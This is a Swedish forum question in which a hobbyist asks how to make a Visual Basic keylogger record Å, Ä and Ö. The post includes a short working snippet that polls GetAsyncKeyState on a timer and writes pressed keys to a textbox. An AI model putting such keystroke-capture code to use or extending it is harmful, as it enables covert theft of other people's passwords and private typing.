Vill få fram svenska tecken så som ÅÄÖ til len keylogger (VB)

Jag håller på att göra ett keylogger i vb till mitt data system här hemma. Inte för olagligheter! Jag har ett litet program i Visual Basic. hur kan jag göra för att få fram ÅÄÖ t.ex. min kod jag har nu ser ut så hära: ett krav det ska funka med Windows7/vista/XP.

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Dim asciicode As Integer
    Dim taste As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            taste = GetAsyncKeyState(i)
            If taste = -32767 Then
                Me.TextBox1.Text &= Chr(i)
            End If
        Next
    End Sub
End Class

Så där min kod ut. Hoppas den hjälper er!